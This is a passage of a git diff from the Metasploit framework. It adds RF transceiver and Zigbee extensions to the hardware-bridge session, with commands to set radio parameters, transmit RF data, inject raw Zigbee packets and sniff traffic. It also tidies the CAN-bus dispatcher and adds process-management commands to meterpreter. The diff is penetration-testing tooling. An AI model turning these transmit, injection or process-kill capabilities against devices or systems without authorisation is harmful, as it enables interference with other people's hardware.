b/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb new file mode 100644 index 0000000000..9ef945f8d8 --- /dev/null +++ b/lib/rex/post/hwbridge/extensions/rftransceiver/rftransceiver.rb @@ -0,0 +1,203 @@ +# +# -*- coding: binary -*- +require 'rex/post/hwbridge/client' + +module Rex +module Post +module HWBridge +module Extensions +module RFTransceiver + +### +# RF Transceiver extension - set of commands to be executed on transceivers like the TI cc11XX +### + +class RFTransceiver < Extension + + def initialize(client) + super(client, 'rftransceiver') + + # Alias the following things on the client object so that they + # can be directly referenced + client.register_extension_aliases( + [ + { + 'name' => 'rftransceiver', + 'ext' => self + } + ]) + end + + # Gets supported USB Indexes + # @return [Array] Indexes + def supported_idx + client.send_request("/rftransceiver/supported_idx") + end + + # Sets the frequency + # @param idx [Integer] HW Index + # @param opt [Hash] Optional: "mhz" => 24 + # @param freq [Integer] Frequency to set + def set_freq(idx, freq, opt={}) + request = "/rftransceiver/#{idx}/set_freq?freq=#{freq}" + request << "&mhz=#{opt['mhz']}" if opt.has_key? 'mhz' + client.send_request(request) + end + + # Retrieves a list of supported Modulations + # @param idx [Integer] HW Index + # @return [Array] of Modulation strings + def get_supported_modulations(idx) + client.send_request("/rftransceiver/#{idx}/get_modulations") + end + + # Sets the mode + # @param idx [Integer] HW Index + # @param mode [String] Either RX, TX or IDLE + def set_mode(idx, mode) + client.send_request("/rftransceiver/#{idx}/set_mode?mode=#{mode}") + end + + # Sets the modulation value + # @param idx [Integer] HW Index + # @param mod [String] Modulation Technique + def set_modulation(idx, mod) + client.send_request("/rftransceiver/#{idx}/set_modulation?mod=#{mod}") + end + + # Sets fixed packet len + # @param idx [Integer] HW Index + # @param len [Integer] Length to set + def make_pkt_flen(idx, len) + client.send_request("/rftransceiver/#{idx}/make_packet_flen?len=#{len}") + end + + # Sets variable packet len + # @param idx [Integer] HW Index + # @param len [Integer] Length to set + def make_pkt_vlen(idx, len) + client.send_request("/rftransceiver/#{idx}/make_packet_vlen?len=#{len}") + end + + # Transmits data + # @param idx [Integer] HW Index + # @param data [String] Data to transmit + # @param opt [Hash] Optional parameters: "repeat" => Integer, "offset" => Integer + def rfxmit(idx, data, opt={}) + data = Base64.urlsafe_encode64(data) + request = "/rftransceiver/#{idx}/rfxmit?data=#{data}" + request << "&repeat=#{opt['repeat']}" if opt.has_key? 'repeat' + request << "&offset=#{opt['offset']}" if opt.has_key? 'offset' + client.send_request(request) + end + + # Receives a packet + # @param idx [Integer] HW Index + # @param opt [Hash] Optional parameters: "timeout" => Integer, "blocksize" => Integer + # @return [Hash] "data" => "timestamp" => When it was received + def rfrecv(idx, opt={}) + request = "/rftransceiver/#{idx}/rfrecv" + if opt.size() > 0 + first = true + request << '?' + if opt.has_key? 'timeout' + request << "timeout=#{opt['timeout']}" + first = false + end + if opt.has_key? 'blocksize' + request << '&' unless first + request << "blocksize=#{opt['blocksize']}" + end + end + data = client.send_request(request) + # Note the data is initially base64 encoded + if data.size() > 0 + data['data'] = Base64.urlsafe_decode64(data['data']) if data.has_key? 'data' + end + data + end + + def enable_packet_crc(idx) + client.send_request("/rftransceiver/#{idx}/enable_packet_crc") + end + + def enable_manchester(idx) + client.send_request("/rftransceiver/#{idx}/enable_machester") + end + + def set_channel(idx, channel) + client.send_request("/rftransceiver/#{idx}/set_channel?channel=#{channel}") + end + + def set_channel_bandwidth(idx, bandwidth, opt={}) + request = "/rftransceiver/#{idx}/set_channel_bandwidth?bw=#{bandwidth}" + request << "&mhz=#{opt['mhz']}" if opt.has_key? 'mhz' + client.send_request(request) + end + + def set_channel_spc(idx, opt={}) + request = "/rftransceiver/#{idx}/set_channel_spc" + if opt.size > 0 + request << '?' + first = true + if opt.has_key? 'chanspc' + request << "chanspc=#{opt['chanspc']}" + first = false + end + if opt.has_key? 'chanspc_m' + request << '&' unless first + request << "chanspc_m=#{opt['chanspc_m']}" + first = false + end + if opt.has_key? 'chanspc_e' + request << '&' unless first + request << "chanspc_e=#{opt['chanspc_e']}" + first = false + end + if opt.has_key? 'mhz' + request << '&' unless first + request << "mhz=#{opt['mhz']}" + end + end + client.send_request(request) + end + + def set_baud_rate(idx, rate, opt={}) + request = "/rftransceiver/#{idx}/set_baud_rate?rate=#{rate}" + request << "&mhz=#{opt['mhz']}" if opt.has_key? 'mhz' + client.send_request(request) + end + + def set_deviation(idx, deviat, opt={}) + request = "/rftransceiver/#{idx}/set_deviation?deviat=#{deviat}" + request << "&mhz=#{opt['mhz']}" if opt.has_key? 'mhz' + client.send_request(request) + end + + def set_sync_word(idx, word) + client.send_request("/rftransceiver/#{idx}/set_sync_word?word=#{word}") + end + + def set_sync_mode(idx, mode) + client.send_request("/rftransceiver/#{idx}/set_sync_mode?mode=#{mode}") + end + + def set_number_preamble(idx, num) + client.send_request("/rftransceiver/#{idx}/set_number_preamble?num=#{num}") + end + + def set_maxpower(idx) + client.send_request("/rftransceiver/#{idx}/set_maxpower") + end + + def set_power(idx, power) + client.send_request("/rftransceiver/#{idx}/set_power?power=#{power}") + end +end + +end +end +end +end +end + diff --git a/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb b/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb new file mode 100644 index 0000000000..363c62da88 --- /dev/null +++ b/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb @@ -0,0 +1,95 @@ +# +# -*- coding: binary -*- +require 'rex/post/hwbridge/client' + +module Rex +module Post +module HWBridge +module Extensions +module Zigbee + +### +# Zigbee extension - set of commands to be executed on zigbee compatible hw bridges +### + +class Zigbee < Extension + + def initialize(client) + super(client, 'zigbee') + + # Alias the following things on the client object so that they + # can be directly referenced + client.register_extension_aliases( + [ + { + 'name' => 'zigbee', + 'ext' => self + } + ]) + end + + # Sets the default target device + # @param device [String] Target Zigbee device ID + def set_target_device(device) + self.target_device = device + end + + # Retrieves the default zigbee device ID + # @return [String] Zigbee device ID + def get_target_device + self.target_device + end + + # Gets supported Zigbee Devices + # @return [Array] Devices + def supported_devices + client.send_request("/zigbee/supported_devices") + end + + # Sets the channel + # @param dev [String] Device to affect + # @param channel [Integer] Channel number + def set_channel(dev, channel) + client.send_request("/zigbee/#{dev}/set_channel?chan=#{channel}") + end + + # Injects a raw packet + # @param dev [String] Zigbee Device ID + # @param data [String] Raw hex data that will be Base64 encoded + def inject(dev, data) + data = Base64.urlsafe_encode64(data) + client.send_request("/zigbee/#{dev}/inject?data=#{data}") + end + + # Receives data from transceiver + # @param dev [String] Zigbee Device ID + # @return [Hash] { data: HexString, valid_crc: X, rssi: X } + def recv(dev) + data = client.send_request("/zigbee/#{dev}/recv") + if data.size > 0 + data["data"] = Base64.urlsafe_decode64(data["data"]) if data.has_key? "data" + end + data + end + + # Disables sniffer and puts the device in a state that can be changed (like adujsting channel) + # @param dev [String] Zigbee Device ID + def sniffer_off(dev) + client.send_request("/zigbee/#{dev}/sniffer_off") + end + + # Enables sniffer receive mode. Not necessary to call before calling recv + # @param dev [String] Zigbee Device ID + def sniffer_on(dev) + client.send_request("/zigbee/#{dev}/sniffer_on") + end + + attr_accessor :target_device + +end + +end +end +end +end +end diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb index 059719ccff..bad2136c77 100644 --- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb @@ -40,20 +40,20 @@ class Console::CommandDispatcher::Automotive # def cmd_supported_buses buses = client.automotive.get_supported_buses - if not buses.size > 0 + unless !buses.empty? print_line("none") return end str = "Available buses\n\n" first = true buses.each do |bus| - if not first + unless first str += ", " end first = false - str += bus["bus_name"] if bus.has_key? "bus_name" + str += bus["bus_name"] if bus.key? "bus_name" end - str+="\n" + str += "\n" print_line(str) end @@ -63,7 +63,7 @@ class Console::CommandDispatcher::Automotive def cmd_busconfig(*args) bus = '' bus_config_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], + '-h' => [ false, 'Help banner' ], '-b' => [ true, 'Target bus'] ) bus_config_opts.parse(args) do |opt, _idx, val| @@ -76,11 +76,12 @@ class Console::CommandDispatcher::Automotive bus = val end end - if not client.automotive.is_valid_bus? bus + unless client.automotive.is_valid_bus? bus print_error("You must specify a valid bus via -b") return end config = client.automotive.get_bus_config(bus) + config end # @@ -103,13 +104,14 @@ class Console::CommandDispatcher::Automotive bus = val end end - if not client.automotive.is_valid_bus? bus + unless client.automotive.is_valid_bus? bus print_error("You must specify a valid bus via -b") return end - self.active_bus = bus + active_bus = bus client.automotive.set_active_bus(bus) hw_methods = client.automotive.get_supported_methods(bus) + hw_methods end # @@ -139,16 +141,17 @@ class Console::CommandDispatcher::Automotive data = val end end - bus = self.active_bus if bus.blank? and not self.active_bus == nil - if not client.automotive.is_valid_bus? bus + bus = active_bus if bus.blank? && !active_bus.nil? + unless client.automotive.is_valid_bus? bus print_error("You must specify a valid bus via -b") return end - if id.blank? or data.blank? + if id.blank? || data.blank? print_error("You must specify a CAN ID (-I) and the data packets (-D)") return end success = client.automotive.cansend(bus, id, data) + success end # @@ -158,7 +161,8 @@ class Console::CommandDispatcher::Automotive 'Automotive' end -private + private + attr_accessor :active_bus end diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb index 514595cb35..6527686dbc 100644 --- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/core.rb @@ -57,6 +57,8 @@ class Console::CommandDispatcher::Core "bglist" => "Lists running background scripts", "status" => "Fetch bridge status information", "specialty" => "Hardware devices specialty", + "reset" => "Resets the device (NOTE: on some devices this is a FULL FACTORY RESET)", + "reboot" => "Reboots the device (usually only supported by stand-alone devices)", "load_custom_methods" => "Loads custom HW commands if any" } @@ -132,7 +134,7 @@ class Console::CommandDispatcher::Core def cmd_info(*args) return unless msf_loaded? - if args.length != 1 or args.include?("-h") + if args.length != 1 || args.include?('-h') cmd_info_help return end @@ -144,10 +146,10 @@ class Console::CommandDispatcher::Core print_error 'Invalid module: ' << module_name end - if (mod) + if mod print_line(::Msf::Serializer::ReadableText.dump_module(mod)) mod_opt = ::Msf::Serializer::ReadableText.dump_options(mod, ' ') - print_line("\nModule options (#{mod.fullname}):\n\n#{mod_opt}") if (mod_opt and mod_opt.length > 0) + print_line("\nModule options (#{mod.fullname}):\n\n#{mod_opt}") if mod_opt && mod_opt.length > 0 end end @@ -171,12 +173,15 @@ class Console::CommandDispatcher::Core return true end status = client.get_status - if status.has_key? "operational" - op = "Unknown" - op = "Yes" if status["operational"] == 1 - op = "No" if status["operational"] == 2 + if status.has_key? 'operational' + op = 'Unknown' + op = 'Yes' if status['operational'] == 1 + op = 'No' if status['operational'] == 2 print_status("Operational: #{op}") end + print_status("Device: #{status['device_name']}") if status.has_key? 'device_name' + print_status("FW Version: #{status['fw_version']}") if status.has_key? 'fw_version' + print_status("HW Version: #{status['hw_version']}") if status.has_key? 'hw_version' end def cmd_specialty_help @@ -196,6 +201,39 @@ class Console::CommandDispatcher::Core print_line client.exploit.hw_specialty.to_s end + def cmd_reset_help + print_line("Resets the device. In some cases this can be used to perform a factory reset") + print_line + end + + # + # Performs a device reset or factory reset + # + def cmd_reset(*args) + if args.length > 0 + cmd_reset_help + return + end + client.reset + end + + def cmd_reboot_help + print_line("Reboots the device. This command typically only works on independent devices that") + print_line("are not attached to a laptop or other system") + print_line + end + + # + # Perform a device reboot + # + def cmd_reboot(*args) + if args.length > 0 + cmd_reboot_help + return + end + client.reboot + end + def cmd_load_custom_methods_help print_line("Usage: load_custom_methods") print_line @@ -212,14 +250,14 @@ class Console::CommandDispatcher::Core return true end res = client.get_custom_methods - if res.has_key? "Methods" + if res.has_key? 'Methods' cmd_load("custom_methods") self.shell.dispatcher_stack.each do |dispatcher| if dispatcher.name =~/custom methods/i - dispatcher.load_methods(res["Methods"]) + dispatcher.load_methods(res['Methods']) end end - print_status("Loaded #{res["Methods"].size} method(s)") + print_status("Loaded #{res['Methods'].size} method(s)") else print_status("Not supported") end @@ -236,13 +274,13 @@ class Console::CommandDispatcher::Core # Loads one or more meterpreter extensions. # def cmd_load(*args) - if (args.length == 0) + if args.length == 0 args.unshift("-h") end @@load_opts.parse(args) { |opt, idx, val| case opt - when "-h" + when '-h' cmd_load_help return true end @@ -252,7 +290,7 @@ class Console::CommandDispatcher::Core args.each { |m| md = m.downcase - if (extensions.include?(md)) + if extensions.include?(md) print_error("The '#{md}' extension has already been loaded.") next end @@ -301,7 +339,7 @@ class Console::CommandDispatcher::Core # First try it as a Post module if we have access to the Metasploit # Framework instance. If we don't, or if no such module exists, # fall back to using the scripting interface. - if (msf_loaded? and mod = client.framework.modules.create(script_name)) + if msf_loaded? && mod = client.framework.modules.create(script_name) original_mod = mod reloaded_mod = client.framework.modules.reload_module(original_mod) @@ -332,16 +370,16 @@ class Console::CommandDispatcher::Core def cmd_run_tabs(str, words) tabs = [] - if(not words[1] or not words[1].match(/^\//)) + if !words[1] || !words[1].match(/^\//) begin - if (msf_loaded?) - tabs += tab_complete_postmods + if msf_loaded? + tabs << tab_complete_postmods end [ # We can just use Meterpreters script path ::Msf::Sessions::Meterpreter.script_base, ::Msf::Sessions::Meterpreter.user_script_base ].each do |dir| - next if not ::File.exist? dir + next unless ::File.exist? dir tabs += ::Dir.new(dir).find_all { |e| path = dir + ::File::SEPARATOR + e ::File.file?(path) and ::File.readable?(path) @@ -367,7 +405,7 @@ class Console::CommandDispatcher::Core jid = self.bgjob_id self.bgjob_id += 1 - Z# Get the script name + # Get the script name self.bgjobs[jid] = Rex::ThreadFactory.spawn("HWBridgeBGRun(#{args[0]})-#{jid}", false, jid, args) do |myjid,xargs| ::Thread.current[:args] = xargs.dup begin @@ -457,15 +495,15 @@ protected self.class.client_extension_search_paths.each do |path| path = ::File.join(path, "#{mod}.rb") klass = CommDispatcher.check_hash(path) - if (klass == nil) - old = CommDispatcher.constants + if klass.nil? + old = CommDispatcher.constants next unless ::File.exist? path - if (require(path)) - new = CommDispatcher.constants + if require(path) + new = CommDispatcher.constants diff = new - old - next if (diff.empty?) + next if diff.empty? klass = CommDispatcher.const_get(diff[0]) @@ -497,7 +535,7 @@ protected def tab_complete_postmods tabs = client.framework.modules.post.map { |name,klass| mod = client.framework.modules.post.create(name) - if mod and mod.session_compatible?(client) + if mod && mod.session_compatible?(client) mod.fullname.dup else nil diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb new file mode 100644 index 0000000000..8fa95bebb6 --- /dev/null +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb @@ -0,0 +1,587 @@ +# -*- coding: binary -*- +require 'rex/post/hwbridge' +require 'msf/core/auxiliary/report' + +module Rex +module Post +module HWBridge +module Ui +### +# RF Transceiver extension - set of commands to be executed on transceivers like the TI cc11XX +### +class Console::CommandDispatcher::RFtransceiver + include Console::CommandDispatcher + include Msf::Auxiliary::Report + + # + # List of supported commands. + # + def commands + all = { + 'supported_idx' => 'suppored USB indexes', + 'idx' => 'sets an active idx', + 'freq' => 'sets the frequency', + 'modulation' => 'sets the modulation', + 'flen' => 'sets the fixed length packet size', + 'vlen' => 'sets the variable length packet size', + 'xmit' => 'transmits some data', + 'recv' => 'receive a packet of data', + 'enable_crc' => 'enables crc', + 'enable_manchester' => 'enables manchester encoding', + 'channel' => 'sets channel', + 'channel_bw' => 'sets the channel bandwidth', + 'baud' => 'sets the baud rate', + 'deviation' => 'sets the deviation', + 'sync_word' => 'sets the sync word', + 'preamble' => 'sets the preamble number', + 'power' => 'sets the power level', + 'maxpower' => 'sets max power' + } + + all + end + + def cmd_supported_idx + indexes = client.rftransceiver.supported_idx + if !indexes || !indexes.has_key?('indexes') + print_line("error retrieving index list") + return + end + indexes = indexes['indexes'] + unless indexes.size > 0 + print_line('none') + return + end + self.idx = indexes[0].to_i if indexes.size == 0 + str = "Supported Indexes: " + str << indexes.join(', ') + str << "\nUse idx to set your desired bus, default is 0" + print_line(str) + end + + # + # Sets the USB IDS + # + def cmd_idx(*args) + self.idx = 0 + idx_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-i' => [ true, 'USB index, default 0' ] + ) + idx_opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: idx -i \n") + print_line(idx_opts.usage) + return + when '-i' + self.idx = val + end + end + print_line("set index to #{self.idx}") + end + + def cmd_freq_help + print_line("Sets the RF Frequency\n") + print_line("Usage: freq -f ") + print_line("\nExample: freq -f 433000000") + end + + # + # Takes the results of a client request and prints Ok on success + # + def print_success(r) + if r.has_key?('success') && r['success'] == true + print_line("Ok") + else + print_line("Error") + end + end + + # + # Sets the frequency + # + def cmd_freq(*args) + self.idx ||= 0 + freq = -1 + mhz = nil + arg = {} + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-f' => [ true, 'frequency to set, example: 433000000' ], + '-m' => [ true, 'Mhz' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: freq -f \n") + print_line(opts.usage) + return + when '-f' + freq = val.to_i + when '-m' + mhz = val.to_i + end + end + if freq == -1 + cmd_freq_help + return + end + arg['mhz'] = mhz if mhz + r = client.rftransceiver.set_freq(idx, freq, arg) + print_success(r) + end + + def cmd_modulation_help + print_line("Usage: modulation -M \n") + print_line("Modulation names:\n") + print_line(" #{client.rftransceiver.get_supported_modulations(idx)}") + print_line("\nExample: modulation -M ASK/OOK") + end + + # + # Sets the modulation + # + def cmd_modulation(*args) + self.idx ||= 0 + mod = nil + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-M' => [ true, 'Modulation name, See help for options' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + cmd_modulation_help + print_line(opts.usage) + return + when '-M' + mod = val + end + end + unless mod + cmd_modulation_help + return + end + r = client.rftransceiver.set_modulation(idx, mod) + print_success(r) + end + + # + # Sets the fixed length + # + def cmd_flen(*args) + self.idx ||= 0 + flen = -1 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-l' => [ true, 'Fixed Length' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: flen -l \n") + print_line(opts.usage) + return + when '-l' + flen = val.to_i + end + end + if flen == -1 + print_line("You must specify a length") + return + end + r = client.rftransceiver.make_pkt_flen(idx, flen) + print_success(r) + end + + # + # Sets the variable length + # + def cmd_vlen(*args) + self.idx ||= 0 + vlen = -1 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-l' => [ true, 'Variable Length' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: vlen -l \n") + print_line(opts.usage) + return + when '-l' + vlen = val.to_i + end + end + if vlen == -1 + print_line("You must specify a length") + return + end + r = client.rftransceiver.make_pkt_vlen(idx, vlen) + print_success(r) + end + + # + # Xmit packet + # + def cmd_xmit(*args) + self.idx ||= 0 + data = nil + repeat = -1 + offset = -1 + arg = {} + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-d' => [ true, 'Variable Length' ], + '-r' => [ true, 'Repeat' ], + '-o' => [ true, 'Data offset' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: xmit -d \n") + print_line(opts.usage) + return + when '-d' + data = val + when '-r' + repeat = val.to_i + when '-o' + offset = val.to_i + end + end + unless data + print_line("You must specify the data argument (-d)") + return + end + arg['repeat'] = repeat unless repeat == -1 + arg['offset'] = offset unless offset == -1 + r = client.rftransceiver.rfxmit(idx, data, arg) + print_success(r) + end + + # + # Recieve data packet + # + def cmd_recv(*args) + self.idx ||= 0 + arg = {} + timeout = -1 + blocksize = -1 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-t' => [ true, 'timeout' ], + '-b' => [ true, 'blocksize' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: recv\n") + print_line(opts.usage) + return + when '-t' + timeout = val.to_i + when '-b' + blocksize = val.to_i + end + end + arg['blocksize'] = blocksize unless blocksize == -1 + arg['timeout'] = timeout unless timeout == -1 + r = client.rftransceiver.rfrecv(idx, arg) + if r.has_key?('data') && r.has_key?('timestamp') + print_line(" #{r['timestamp']}: #{r['data'].inspect}") + else + print_line("Error") + end + end + + # + # Enable CRC + # + def cmd_enable_crc(*args) + self.idx ||= 0 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: enable_crc\n") + print_line(opts.usage) + return + end + end + r = client.rftransceiver.enable_packet_crc(idx) + print_success(r) + end + + # + # Enable Manchester encoding + # + def cmd_enable_manchester(*args) + self.idx ||= 0 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: enable_manchester\n") + print_line(opts.usage) + return + end + end + r = client.rftransceiver.enable_manchester(idx) + print_success(r) + end + + # + # Set channel + # + def cmd_channel(*args) + self.idx ||= 0 + channel = -1 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-c' => [ true, 'Channel number' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: channel -c \n") + print_line(opts.usage) + return + when '-c' + channel = val.to_i + end + end + if channel == -1 + print_line("You must specify a channel number") + return + end + r = client.rftransceiver.set_channel(idx, channel) + print_success(r) + end + + # + # Set channel bandwidth + # + def cmd_channel_bw(*args) + self.idx ||= 0 + bandwidth = -1 + mhz = nil + arg = {} + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-b' => [ true, 'Bandwidth' ], + '-m' => [ true, 'Mhz' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: channel_bw -b \n") + print_line(opts.usage) + return + when '-b' + bandwidth = val.to_i + when '-m' + mhz = val.to_i + end + end + if bandwidth == -1 + print_line("You must specify the bandwidth (-b)") + return + end + arg['mhz'] = mhz if mhz + r = client.rftransceiver.set_channel_bandwidth(idx, bandwidth, arg) + print_success(r) + end + + # + # Set baud rate + # + def cmd_baud(*args) + self.idx ||= 0 + baud = -1 + mhz = nil + arg = {} + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-b' => [ true, 'Baud rate' ], + '-m' => [ true, 'Mhz' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: baud -b \n") + print_line(opts.usage) + return + when '-b' + baud = val.to_i + when '-m' + mhz = val.to_i + end + end + if baud == -1 + print_line("You must specify a baud rate") + return + end + arg['mhz'] = mhz if mhz + r = client.rftransceiver.set_baud_rate(idx, baud, arg) + print_success(r) + end + + # + # Set Deviation + # + def cmd_deviation(*args) + self.idx ||= 0 + deviat = -1 + mhz = nil + arg = {} + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-d' => [ true, 'Deviat' ], + '-m' => [ true, 'Mhz' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: deviation -d \n") + print_line(opts.usage) + return + when '-d' + deviat = val.to_i + when '-m' + mhz = val.to_i + end + end + if deviat == -1 + print_line("You must specify a deviat value") + return + end + arg['mhz'] = mhz if mhz + r = client.rftransceiver.set_deviation(idx, deviat, arg) + print_success(r) + end + + # + # Set Sync word + # + def cmd_sync_word(*args) + self.idx ||= 0 + word = -1 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-w' => [ true, 'Sync word (Integer)' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: sync_word -w \n") + print_line(opts.usage) + return + when '-w' + word = val.to_i + end + end + if word == -1 + print_line("You must specify a sync word") + return + end + r = client.rftransceiver.set_sync_word(idx, word) + print_success(r) + end + + def cmd_preamble_help + print_line("get the minimum number of preamble bits to be transmitted. note this is a flag, not a count") + print_line("so the return value must be interpeted - e.g. 0x30 == 0x03 << 4 == MFMCFG1_NUM_PREAMBLE_6 == 6 bytes") + end + + # + # Set Preamble size + # + def cmd_preamble(*args) + self.idx ||= 0 + preamble = -1 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-n' => [ true, 'Number of preamble' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: preamble -n \n") + print_line(opts.usage) + return + when '-n' + preamble = val.to_i + end + end + if preamble == -1 + print_line("You must specify the number of preamble bits") + return + end + r = client.rftransceiver.set_number_preamble(idx, preamble) + print_success(r) + end + + def cmd_maxpower_help + print_line("Max power is frequency dependent. Set frequency first") + end + + # + # Sets max power + # + def cmd_maxpower(*args) + self.idx ||= 0 + if args.length > 0 + cmd_maxpower_help + return + end + r = client.rftransceiver.set_maxpower(idx) + print_success(r) + end + + def cmd_power(*args) + self.idx ||= 0 + power = -1 + opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-p' => [ true, 'Power level' ] + ) + opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: power -p \n") + print_line(opts.usage) + return + when '-p' + power = val.to_i + end + end + if power == -1 + print_line("You must specify the power level") + return + end + r = client.rftransceiver.set_power(idx, power) + print_success(r) + end + + # + # Name for this dispatcher + # + def name + 'RFtransceiver' + end + + attr_accessor :idx +end + +end +end +end +end + diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb new file mode 100644 index 0000000000..45408f88dc --- /dev/null +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb @@ -0,0 +1,125 @@ +# -*- coding: binary -*- +require 'rex/post/hwbridge' +require 'msf/core/auxiliary/report' + +module Rex +module Post +module HWBridge +module Ui + +### +# Zigbee extension - set of commands to be executed on Zigbee compatible devices +### +class Console::CommandDispatcher::Zigbee + include Console::CommandDispatcher + include Msf::Auxiliary::Report + + # + # List of supported commands. + # + def commands + all = { + 'supported_devices' => 'Get supported ZigBee devices', + 'target' => 'Set the target device id', + 'channel' => 'Set the channel' + } + + all + end + + # Sets the target device both in the UI class and in the base API + # @param device [String] Device ID + def set_target_device(device) + self.target_device = device + client.zigbee.set_target_device device + end + + # + # Lists all thesupported devices + # + def cmd_supported_devices + devices = client.zigbee.supported_devices + if !devices or !devices.has_key? "devices" + print_line("error retrieving list of devices") + return + end + devices = devices["devices"] + unless devices.size > 0 + print_line("none") + return + end + set_target_device(devices[0]) if devices.size == 1 + str = "Supported Devices: " + str << devices.join(', ') + str << "\nUse device name to set your desired device, default is: #{self.target_device}" + print_line(str) + end + + # + # Sets the default target device + # + def cmd_target(*args) + self.target_device = "" + device_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help banner' ], + '-d' => [ true, 'Device ID' ] + ) + device_opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: target -d \n") + print_line(device_opts.usage) + return + when '-d' + set_target_device val + end + end + print_line("set target device to #{self.target_device}") + end + + # + # Sets the channel + # + def cmd_channel(*args) + chan = 11 + dev = self.target_device if self.target_device + xopts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help banner' ], + '-d' => [ true, 'ZigBee device' ], + '-c' => [ true, 'Channel number' ] + ) + xopts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: channel -c \n") + print_line(xopts.usage) + return + when '-d' + dev = val + when '-c' + chan = val.to_i + end + end + if !dev + print_line("You must specify or set a target device") + return + end + client.zigbee.set_channel(dev, chan) + print_line("Device #{dev} channel set to #{chan}") + end + + # + # Name for this dispatcher + # + def name + 'Zigbee' + end + + attr_accessor :target_device +end + +end +end +end +end + diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index d4877f2bca..acfe737328 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -63,12 +63,13 @@ class Console::CommandDispatcher::Stdapi::Sys # Options for the 'ps' command. # @@ps_opts = Rex::Parser::Arguments.new( - "-S" => [ true, "String to search for (converts to regex)" ], - "-h" => [ false, "Help menu." ], - "-A" => [ true, "Filters processes on architecture" ], - "-s" => [ false, "Show only SYSTEM processes" ], - "-c" => [ false, "Show only child processes of the current shell" ], - "-U" => [ true, "Filters processes on the user using the supplied RegEx"]) + "-S" => [ true, "Filter on process name" ], + "-U" => [ true, "Filter on user name" ], + "-A" => [ true, "Filter on architecture" ], + "-x" => [ false, "Filter for exact matches rather than regex" ], + "-s" => [ false, "Filter only SYSTEM processes" ], + "-c" => [ false, "Filter only child processes of the current shell" ], + "-h" => [ false, "Help menu." ]) # # Options for the 'suspend' command. @@ -92,6 +93,8 @@ class Console::CommandDispatcher::Stdapi::Sys "getsid" => "Get the SID of the user that the server is running as", "getenv" => "Get one or more environment variable values", "kill" => "Terminate a process", + "pkill" => "Terminate processes by name", + "pgrep" => "Filter processes by name", "ps" => "List running processes", "reboot" => "Reboots the remote computer", "reg" => "Modify and interact with the remote registry", @@ -113,6 +116,8 @@ class 